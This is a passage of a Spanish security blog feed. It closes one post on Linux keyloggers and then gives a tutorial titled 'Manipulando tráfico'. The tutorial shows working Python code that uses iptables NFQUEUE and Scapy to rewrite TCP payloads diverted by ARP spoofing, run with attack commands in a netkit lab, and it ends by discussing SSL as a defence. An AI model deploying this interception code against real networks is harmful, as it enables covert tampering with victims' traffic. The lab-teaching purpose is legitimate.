En general, la mejor manera de evitar la instalación de programas como este es evitar el acceso físico de &amp;nbsp;los usuarios a los servidores. Con acceso físico a la máquina, el intruso puede reiniciarla en &lt;a href="http://web.mit.edu/rhel-doc/3/rhel-sag-es-3/s1-rescuemode-booting-single.html" target="_blank"&gt;modo monousuario&lt;/a&gt; con lo que el sistema no le pediría la password de root y podría instalar cualquier cosa que desease como por ejemplo este keylogger. Otra manera de prevenir este tipo de aplicaciones intrusivas es limitar el acceso de los servidores internos hacia el exterior mediante los cortafuegos perimetrales a lo&amp;nbsp;estrictamente&amp;nbsp;necesario, de esta manera el intruso vería seriamente mermada su capacidad de remitir las pulsaciones realizadas a un equipo externo bajo su control.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-9017109388088122980?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pDvS9xcDjmV3WXSJQ7w0UEzBr9U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pDvS9xcDjmV3WXSJQ7w0UEzBr9U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pDvS9xcDjmV3WXSJQ7w0UEzBr9U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pDvS9xcDjmV3WXSJQ7w0UEzBr9U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/Jbkl2bDe5SA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/9017109388088122980/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=9017109388088122980" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/9017109388088122980?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/9017109388088122980?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/Jbkl2bDe5SA/keylogger-en-linux.html" title="Keylogger en Linux" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-loh5l8geXx4/TrpgZmYb9zI/AAAAAAAAAN8/OQ7OsH4FiQA/s72-c/no_keyboard3.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2011/11/keylogger-en-linux.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0EDQHYyeSp7ImA9WhdbEk4.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-8981640227587895647</id><published>2011-10-10T10:15:00.001+02:00</published><updated>2011-10-10T11:41:11.891+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-10T11:41:11.891+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="protocolos" /><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería de Seguridad" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Manipulando tráfico</title><content type="html">&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-8V_tVcSSs4c/TpBAMtBBcXI/AAAAAAAAANM/o5UjUx2tM7w/s1600/Blacksmith+Logo.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-8V_tVcSSs4c/TpBAMtBBcXI/AAAAAAAAANM/o5UjUx2tM7w/s200/Blacksmith+Logo.JPG" width="138" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span id="internal-source-marker_0.49281826335936785" style="font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;H&lt;/span&gt;&lt;span class="Apple-style-span"&gt;asta ahora hemos visto maneras de desviar tráfico de su legítimo trayecto y espiar su contenido. También hemos practicado maneras de generar tráfico con la estructura exacta de bajo nivel que deseemos. Conociendo ambas cosas se podría pensar que la manipulación de tráfico es una mera combinación de las dos técnicas: se desvía el tráfico con un ataque de &lt;a href="http://danteslab.blogspot.com/2008/12/escuchas-en-redes-conmutadas.html"&gt;ARP Spoofing&lt;/a&gt; y se usa &lt;a href="http://www.secdev.org/projects/scapy/"&gt;Scapy&lt;/a&gt; para leer los paquetes desviados y manipular su contenido. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;span style="font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;/span&gt;&lt;br /&gt;A priori, esta combinación de recursos debería funcionar pero a la hora de ponerla en práctica tropezaremos con la cruda realidad de cómo se comporta Scapy con respecto a la pila TCP/IP. Y es que cuando Scapy (o &lt;a href="http://www.tcpdump.org/" style="white-space: pre-wrap;"&gt;tcpdump&lt;/a&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;) escucha un paquete recibido no lo desvía de su trayecto a través de la pila TCP/IP sino que saca una copia del paquete y lo muestra al usuario. Eso quiere decir que aunque manipulemos la copia del paquete, el original se procesará en nuestra pila TCP/IP haciendo que esta lo envíe. Así, lo que ocurrirá es que al enviar el paquete modificado a la víctima en realidad mandaremos dos paquetes: el manipulado y el original. Demasiado ruido para que el ataque funcione correctamente.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;Existe un técnica mucho más elegante para realizar este tipo de ataque. Básicamente se trataría de "sacar" los paquetes desviados recibidos de la pila TCP/IP para evitar que se procesen al margen de nuestra manipulación. Mucha gente sabe que el cortafuegos más popular en el mundo Linux es &lt;a href="http://www.netfilter.org/projects/iptables/" style="white-space: pre-wrap;"&gt;iptables&lt;/a&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;, lo que es menos conocido es que iptables pertenece al ecosistema de &lt;/span&gt;&lt;a href="http://www.netfilter.org/" style="white-space: pre-wrap;"&gt;netfilter&lt;/a&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;. En realidad, netfilter es el nombre oficial del proyecto que abarca todas las capacidades de filtrado y manipulación de tráfico de red que ofrece el kernel de Linux. Netfilter cuenta además con una &lt;/span&gt;&lt;a href="http://www.netfilter.org/projects/libnetfilter_queue/doxygen/index.html" style="white-space: pre-wrap;"&gt;API&lt;/a&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt; para aplicar cualquier tipo de función en las diversas fases de la pila TCP/IP. Iptables es la aplicación de línea de comandos que aprovecha las funcionalidades ofrecidas por netfilter para comunicar al kernel de Linux las reglas de filtrado de tráfico introducidas por el usuario. Simplificando, se puede decir que iptables es el subconjunto de netfilter que permite a los usuarios introducir reglas de filtrados de tráfico en el kernel. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;span style="font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"&gt;&lt;span class="Apple-style-span"&gt;Lo que vamos a hacer es usar iptables para mover los paquetes desviados a una cola de netfilter. Una vez en dicha cola, usaremos la API de netfilter para aplicar las funciones de modificación que deseemos al paquete y al finalizar sacaremos el paquete de la cola y lo devolveremos la pila de TCP/IP para ser enviado.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Como en otras ocasiones, utilizaremos Python y en concreto la librería &lt;a href="https://www.wzdftpd.net/redmine/projects/nfqueue-bindings/wiki/"&gt;python-nfqueue&lt;/a&gt; que no es sino un interfaz a la API de colas de netfilter. El programa que vamos a preparar recibe tráfico desviado mediante un ataque de ARP-Spoofing y busca en dicho tráfico una palabra concreta, si la encuentra la sustituye por otra palabra que decidamos nosotros (con la única limitación de que dicha palabra debe ser de igual longitud que la palabra original) y luego remite el tráfico modificado a su legítimo destinatario. El programa principal no puede ser más sencillo:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;i&gt;&lt;span style="color: #898887;"&gt;###########&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;# PROGRAMA&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;###########&lt;/span&gt;&lt;/i&gt;&lt;br /&gt; &lt;br /&gt;&lt;b&gt;parseArguments()&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;#Le mandamos a IPtables una regla para que redirija el trafico que queremos manipular a una cola de Netfilter.&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;b&gt;os.system(&lt;/b&gt;&lt;span style="color: #bf0303; font-weight: bold;"&gt;"iptables -A FORWARD -d "&lt;/span&gt; &lt;b style="font-weight: bold;"&gt;+&lt;/b&gt;&lt;b&gt; target_address.strNormal() &lt;/b&gt;&lt;b style="font-weight: bold;"&gt;+&lt;/b&gt; &lt;span style="color: #bf0303; font-weight: bold;"&gt;" -p TCP -j NFQUEUE --queue-num 0"&lt;/span&gt;&lt;b&gt;)&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;#Creamos una cola de netfilter donde aparcaremos aquellos paquetes a manipular.&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;b&gt;q &lt;/b&gt;&lt;b style="font-weight: bold;"&gt;=&lt;/b&gt;&lt;b&gt; nfqueue.queue()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;q.&lt;/b&gt;&lt;span style="color: #0057ae; font-weight: bold;"&gt;open&lt;/span&gt;&lt;b&gt;()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;q.bind(socket.AF_INET)&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;#Asociamos una funcion a la cola. Esta funcion se aplicará a todos los paquetes que entren en la cola por lo&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;#que sera aquella en la que pondremos las operaciones de modificacion de trafico que queremos realizar.&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;b&gt;q.set_callback(replace)&lt;/b&gt;&lt;br /&gt; &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;#Activamos la cola y le damos el identificador 0.&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;b&gt;q.create_queue(&lt;/b&gt;&lt;span style="color: #b08000; font-weight: bold;"&gt;0&lt;/span&gt;&lt;b&gt;)&lt;/b&gt;&lt;br /&gt;&lt;b style="font-weight: bold;"&gt;try&lt;/b&gt;&lt;b&gt;:&lt;/b&gt;&lt;br /&gt;  &lt;b style="font-weight: bold;"&gt;print&lt;/b&gt; &lt;span style="color: #bf0303; font-weight: bold;"&gt;"Replacing content. Press Control-C to end."&lt;/span&gt; &lt;br /&gt;&lt;b&gt;  q.try_run()&lt;/b&gt;&lt;br /&gt;&lt;b style="font-weight: bold;"&gt;except&lt;/b&gt; &lt;b style="font-weight: bold;"&gt;&lt;span style="color: #054d00;"&gt;KeyboardInterrupt&lt;/span&gt;&lt;/b&gt;&lt;b&gt;:&lt;/b&gt;&lt;br /&gt;  &lt;b style="font-weight: bold;"&gt;print&lt;/b&gt; &lt;span style="color: #bf0303; font-weight: bold;"&gt;"Program ended by user..."&lt;/span&gt; &lt;br /&gt;  &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;#Finalizado el programa deshacemos las configuraciones realizadas en el entorno.&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;i style="font-weight: bold;"&gt;&lt;span style="color: #898887;"&gt;#os.system("iptables -D FORWARD -d " + target_address.strNormal() + " -p TCP -j NFQUEUE")&lt;/span&gt;&lt;/i&gt; &lt;br /&gt;&lt;b&gt;os.system(&lt;/b&gt;&lt;span style="color: #bf0303; font-weight: bold;"&gt;"iptables -F"&lt;/span&gt;&lt;b&gt;)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;q.unbind(socket.AF_INET)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;q.close()&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Como se puede comprobar, creamos una cola y le asignamos el identificador 0. A esa cola redirigimos el tráfico que vaya dirigido a la víctima mediante una regla de iptables (que al acabar el programa retiramos mediante un "iptables -F"). Con la orden &lt;i&gt;set_callback&lt;/i&gt; asociamos a la cola una función de nuestra cosecha&amp;nbsp;(en este caso&amp;nbsp;&lt;i&gt;replace&lt;/i&gt;)&amp;nbsp;que se aplicará&amp;nbsp;a todos los paquetes de red que entren en la cola 0. Una vez configurada de esta manera la cola, la activamos mediante la orden &lt;i&gt;try_run&lt;/i&gt;. Es importante resaltar que nfqueue usa identificadores para sus colas porque puede trabajar con varias. Nada nos habría impedido crear varias colas, asignándoles a cada una de ellas funciones diferentes, si nos interesase crear colas diferentes que pudiesen procesar distintos tipos de tráfico redirigidos por sendas reglas de iptables o, incluso, colas que fuesen procesando el mismo tráfico sucesivamente como en una cadena de montaje.&lt;br /&gt;
&lt;br /&gt;
La función &lt;i&gt;replace&lt;/i&gt; es donde incluimos lo que queremos hacer con cada paquete:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="background-color: white; color: #181615;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;i&gt;&lt;span style="color: #898887;"&gt;#Esta es la función que vamos a asociar a la cola de netfilter para que se &lt;/span&gt;&lt;/i&gt;
&lt;i&gt;&lt;span style="color: #898887;"&gt;#aplique a todos los paquetes que entren en ella.&lt;/span&gt;&lt;/i&gt;
&lt;b&gt;def&lt;/b&gt; replace(dummy, payload):
  &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"############################################################"&lt;/span&gt;
  &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"Recibido paquete desviado: "&lt;/span&gt;
  &lt;i&gt;&lt;span style="color: #898887;"&gt;#Usamos Scapy para convertir el paquete en crudo en una estructura &lt;/span&gt;&lt;/i&gt;
  &lt;i&gt;&lt;span style="color: #898887;"&gt;#manejable de manera comoda.&lt;/span&gt;&lt;/i&gt;
  packet &lt;b&gt;=&lt;/b&gt; IP(payload.get_data())
  &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"Resumen: "&lt;/span&gt; &lt;b&gt;+&lt;/b&gt; packet.summary()
  &lt;i&gt;&lt;span style="color: #898887;"&gt;#Que sea un paquete TCP no significa que lleve carga. Los paquetes del &lt;/span&gt;&lt;/i&gt;
  &lt;i&gt;&lt;span style="color: #898887;"&gt;#treeway handshake no la llevan, asi que para evitar excepciones &lt;/span&gt;&lt;/i&gt;
  &lt;i&gt;&lt;span style="color: #898887;"&gt;#modificando un atributo inexistente comprobamos que el paquete &lt;/span&gt;&lt;/i&gt;
  &lt;i&gt;&lt;span style="color: #898887;"&gt;#realmente lo tiene.&lt;/span&gt;&lt;/i&gt;
  &lt;b&gt;if&lt;/b&gt; Raw &lt;b&gt;in&lt;/b&gt; packet:
    &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"El paquete tiene payload."&lt;/span&gt;
    content &lt;b&gt;=&lt;/b&gt; packet[Raw].load
    &lt;i&gt;&lt;span style="color: #898887;"&gt;#Sustituimos una cadena por otra...&lt;/span&gt;&lt;/i&gt;
    &lt;b&gt;if&lt;/b&gt; string_to_replace &lt;b&gt;in&lt;/b&gt; content:
      &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"Cadena a reemplazar encontrada en: "&lt;/span&gt;
      &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"&lt;/span&gt;&lt;span style="color: #ff80e0;"&gt;\t&lt;/span&gt;&lt;span style="color: #bf0303;"&gt; "&lt;/span&gt; &lt;b&gt;+&lt;/b&gt; content
      content &lt;b&gt;=&lt;/b&gt; content.replace(string_to_replace, replacing_string)
      &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"Contenido sustituido por: "&lt;/span&gt;
      &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"&lt;/span&gt;&lt;span style="color: #ff80e0;"&gt;\t&lt;/span&gt;&lt;span style="color: #bf0303;"&gt;"&lt;/span&gt; &lt;b&gt;+&lt;/b&gt; content
      packet[Raw].load &lt;b&gt;=&lt;/b&gt; content
      &lt;i&gt;&lt;span style="color: #898887;"&gt;#Reconstruimos el paquete. Hay que tener especial cuidado con el &lt;/span&gt;&lt;/i&gt;
      &lt;i&gt;&lt;span style="color: #898887;"&gt;#checksum TCP ya que si hemos cambiado el contenido del paquete &lt;/span&gt;&lt;/i&gt;
      &lt;i&gt;&lt;span style="color: #898887;"&gt;#habrá que recalcularlo.&lt;/span&gt;&lt;/i&gt;
      &lt;b&gt;del&lt;/b&gt; packet[TCP].chksum
      &lt;i&gt;&lt;span style="color: #898887;"&gt;#Al recrear el paquete pero con el TCP chacksum borrado este se &lt;/span&gt;&lt;/i&gt;
      &lt;i&gt;&lt;span style="color: #898887;"&gt;#recalcula en el constructor IP() de Scapy.&lt;/span&gt;&lt;/i&gt;
      new_packet &lt;b&gt;=&lt;/b&gt; IP(&lt;span style="color: #0057ae;"&gt;str&lt;/span&gt;(packet))
      packet &lt;b&gt;=&lt;/b&gt; new_packet
  &lt;i&gt;&lt;span style="color: #898887;"&gt;#Y volvemos a reintroducir el paquete en la pila TCP/IP.&lt;/span&gt;&lt;/i&gt;
  payload.set_verdict_modified(nfqueue.NF_ACCEPT, &lt;span style="color: #0057ae;"&gt;str&lt;/span&gt;(packet), &lt;span style="color: #0057ae;"&gt;len&lt;/span&gt;(packet))
  &lt;b&gt;print&lt;/b&gt; &lt;span style="color: #bf0303;"&gt;"############################################################"&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Como se puede ver, nfqueue le pasa a las funciones asignadas como callback dos parámetros: &lt;i&gt;dummy&lt;/i&gt; y &lt;i&gt;payload&lt;/i&gt;. El parámetro &lt;i&gt;dummy&lt;/i&gt;&amp;nbsp;reconozco que es un misterio para mi, en la escueta documentación de python-nfqueue no parece que se le mencione y tampoco parece que se le de uso alguno en los ejemplos, así que lo dejaremos atrás hasta que descubramos para qué sirve. El que sí resulta ser un parámetro crítico es &lt;i&gt;payload&lt;/i&gt; que es el que contiene el paquete recibido. Es importante señalar que nfqueue remite a la función de usuario el paquete a partir del nivel IP, por lo que le habrá quitado todas las cabeceras de Ethernet. Así que si queremos jugar con los paquetes a nivel IP o superior (TCP o UDP) nfqueue puede ser una buena opción pero sin embargo si lo que queremos es tocar a nivel Ethernet es posible que tengamos que buscar una alternativa o complemento. Para convertir el payload en un objeto de Scapy que podamos usar como hasta ahora nos basta con llamar al constructor &lt;i&gt;IP()&lt;/i&gt; y pasarle como parámetro &lt;i&gt;payload.get_data()&lt;/i&gt;. A partir de ahí el comportamiento de la función es evidente: se mira si en la carga del paquete aparece la palabra que queremos sustituir y, en ese caso, la sustituimos por la otra y recalculamos el &lt;i&gt;checksum&lt;/i&gt; del paquete TCP. Por último, se usa la función &lt;i&gt;set_verdict_modified&lt;/i&gt; para decirle al netfilter que devolvemos a la pila TCP/IP un paquete pero que este es distinto que el que entró en la cola. El parámetro de aceptación es &lt;i&gt;nfqueue. NF_ACCEPT&lt;/i&gt;, y el nuevo paquete y su longitud son los otros dos parámetros que se pasan a &lt;i&gt;set_verdict_modified&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Si hubiésemos pasado un parámetro de aceptación con valor nfqueue.NF_QUEUE podríamos remitir el paquete a una cola diferente aunque el identificador de la cola lo tendríamos que "fundir" con el valor nfqueue.NF_QUEUE haciendo un OR binario de los 16 bits superiores de esta constante y el valor binario del identificador de la nueva cola. Suena alambicado pero python-nfqueue no es sino un mero binding a las librerías en C de netfilter y hay algunas cosas que no cubre y no queda más remedio que hacerlo a lo &lt;i&gt;C-way-of-living-style&lt;/i&gt;. Para el que no se lo crea que eche un vistazo al doc de netfilter cuando habla de &lt;a href="http://www.netfilter.org/projects/libnetfilter_queue/doxygen/group__Queue.html#ga1986d6387c5aa2a837c02e87ae3b45ff"&gt;NF_QUEUE&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
El recálculo del checksum es crítico ya que la función de esta cabecera del paquete TCP es permitir comprobar que el paquete recibido no ha cambiado (se ha corrompido) por un fallo de transmisión durante el trayecto. En realidad esta cabecera es una reminiscencia de cuando las redes de datos eran mucho menos fiables que las actuales y había que implementar estos mecanismos de integridad en los extremos para solicitar la retransmisión de los paquetes que se corrompiesen por el camino. Reminiscencia o no, lo cierto es que este mecanismo nos afecta directamente si lo que estamos haciendo es cambiar el contenido de los paquetes a mitad del trayecto, ya que si dejamos el checksum original el extremo receptor detectará que el paquete se ha corrompido y lo descartará. Afortunadamente, Scapy se encargará de recalcular el checksum del paquete si se lo pedimos. Bastará con borrar el parámetro checksum del paquete que hemos modificado y usar este para crear uno nuevo. El constructor &lt;i&gt;IP()&lt;/i&gt; de Scapy detectará que falta la cabecera checksum en el parámetro que le pasamos y la calculará él mismo.&lt;br /&gt;
&lt;br /&gt;
El resto del programa no tiene mayor misterio, por lo que no merece la pena explicarlo. Puede ser &lt;a href="http://danteslab-files.googlecode.com/files/pyreplace.py"&gt;descargado&lt;/a&gt; de mi repositorio de aplicaciones para examinar su código detenidamente.&lt;br /&gt;
&lt;br /&gt;
Para probarlo vamos a recurrir a una versión ligeramente modificada de la maqueta de netkit que usamos para el artículo de ARP-Spoofing (también descargable desde el &lt;a href="http://danteslab-files.googlecode.com/files/lab_sniffing_sw_v3.tar.gz"&gt;repositorio&lt;/a&gt;, cuenta además con un README para su instalación). Como en aquella ocasión, el mapa de red de la maqueta es:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-M6aCjel8n1U/TpHQZqCJdWI/AAAAAAAAANQ/5CCpTb5tOFs/s1600/Diagrama_del_laboratorio.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-M6aCjel8n1U/TpHQZqCJdWI/AAAAAAAAANQ/5CCpTb5tOFs/s320/Diagrama_del_laboratorio.png" width="278" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Como se puede ver, la maqueta cuenta con una red de gestión (192.168.20.0/24) pensada para acceder por SSH a los distintos elementos del simulacro sin que el tráfico de gestión se mezcle con el tráfico del experimento. Como las líneas de comandos que arranca netkit a cada una de las máquinas virtuales son bastante limitadas, le recomiendo que desde la consola del PC anfitrión lance una sesión de SSH contra Alice y al menos dos sesiones de SSH contra Sniffer (en concreto contra los interfaces de esos dos equipos en la red de gestión).&lt;br /&gt;
&lt;br /&gt;
Para comenzar la práctica, desde una de las sesiones de SSH abiertas contra Sniffer active un ataque de ARP-Spoofing contra Alice:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
PC-Sniffer:~# &lt;b&gt;./scripts/arpoison.py 192.168.0.1 192.168.0.2&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Hasta ahora todo es exactamente igual que en nuestra práctica sobre ARP-Spoofing. A partir de la activación de arpoison todo el tráfico que Alice intercambia con Internet pasa a través de PC-Sniffer, por lo que Sniffer puede o escuchar el tráfico... o modificarlo como vamos a hacer nosotros. Para ello,&amp;nbsp;desde la otra sesión de SSH abierta contra Sniffer vamos a activar pyreplace y le vamos a decir que siempre que en el tráfico dirigido a Alice aparezca la palabra "Mozart" sustituya dicha palabra por "Robert".&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
PC-Sniffer:~# &lt;b&gt;./scripts/pyreplace.py 192.168.0.2 "Mozart" "Robert"&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Como ya hemos dicho, resulta crítico que ambas palabras sean de la misma longitud. Si&amp;nbsp;quisiéramos&amp;nbsp;sustituir una palabra por otra de longitud diferente nuestro programa se complicaría notablemente ya que no sólo habría que modificar las cabeceras de longitud de los paquetes sino que si sustituimos por palabras de mayor longitud existe la posibilidad de que se supere la longitud máxima de paquete lo que obligaría a distribuir el paquete modificado en dos y a partir de ahí habría que añadir un offset a los números de secuencia (¡y restárselo a los ACK de respuesta!). En fin, sería bastante más trabajoso y no añadiría ningún concepto nuevo pero no imposible para un atacante decidido y con el suficiente interés.&lt;br /&gt;
&lt;br /&gt;
Observe también que siempre utilizamos con los scripts las direcciones de producción de los distintos elementos de red y no su interfaz de gestión.&lt;br /&gt;
&lt;br /&gt;
Ahora vamos a ver si el ataque funciona. Para ello navegaremos desde el PC de Alice hacia Google y buscaremos en él el término "Mozart". Como la sesión que tenemos abierta por SSH con Alice es textual usaremos el navegador textual &lt;i&gt;lynx&lt;/i&gt;, mediante la orden:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
PC-Alice:~# &lt;b&gt;lynx www.google.com&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
Como puede ver en las imágenes de abajo (pinche en ellas para ampliarlas), el resultado de Google parece que habla constantemente de un tal "Wolfgan Amadeus... Robert", señal de que pyreplace ha funcionado correctamente.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-3OKXmdRn6Pk/TpKkaLVaVZI/AAAAAAAAANU/a52DsaDS3r8/s1600/Google_Mozart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="217" src="http://2.bp.blogspot.com/-3OKXmdRn6Pk/TpKkaLVaVZI/AAAAAAAAANU/a52DsaDS3r8/s400/Google_Mozart.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-F4IwtrCzrHE/TpKki5i5MCI/AAAAAAAAANY/femM3CCmN7w/s1600/Google_Resultados_Robert.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="218" src="http://4.bp.blogspot.com/-F4IwtrCzrHE/TpKki5i5MCI/AAAAAAAAANY/femM3CCmN7w/s400/Google_Resultados_Robert.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Como se puede ver, la modificación de tráfico durante el trayecto no resulta complicada. Podría pensar que la limitación de sustituir palabras por otras de la misma longitud resta importancia a este ataque pero por un lado, como hemos dicho más arriba, extender nuestro programa para que pueda usar palabras de sustitución de diferente longitud no resulta conceptualmente complicado y por el otro existen multitud de "campos" de longitud fija cuya manipulación puede resultar en una grave brecha de seguridad: cuentas bancarias, números de DNI, matrículas, etc...&lt;br /&gt;
&lt;br /&gt;
Las salvaguardas contra este tipo de ataques pasan por utilizar mecanismos de cifrado y de integridad. El cifrado evitaría que el atacante localizase la palabra que quiere sustituir y los mecanismos de integridad asegurarían que aunque el atacante lograse modificar el tráfico nuestro sistemas detectaría que el tráfico recibido no es el originalmente enviado y lo rechazaría. Un protocolo como &lt;a href="http://en.wikipedia.org/wiki/Secure_Sockets_Layer"&gt;SSL&lt;/a&gt;, correctamente utilizado, ofrece estos mecanismos de defensa aunque en determinadas situaciones, que espero poder explicar en artículos posteriores, tampoco son la panacea.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-8981640227587895647?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
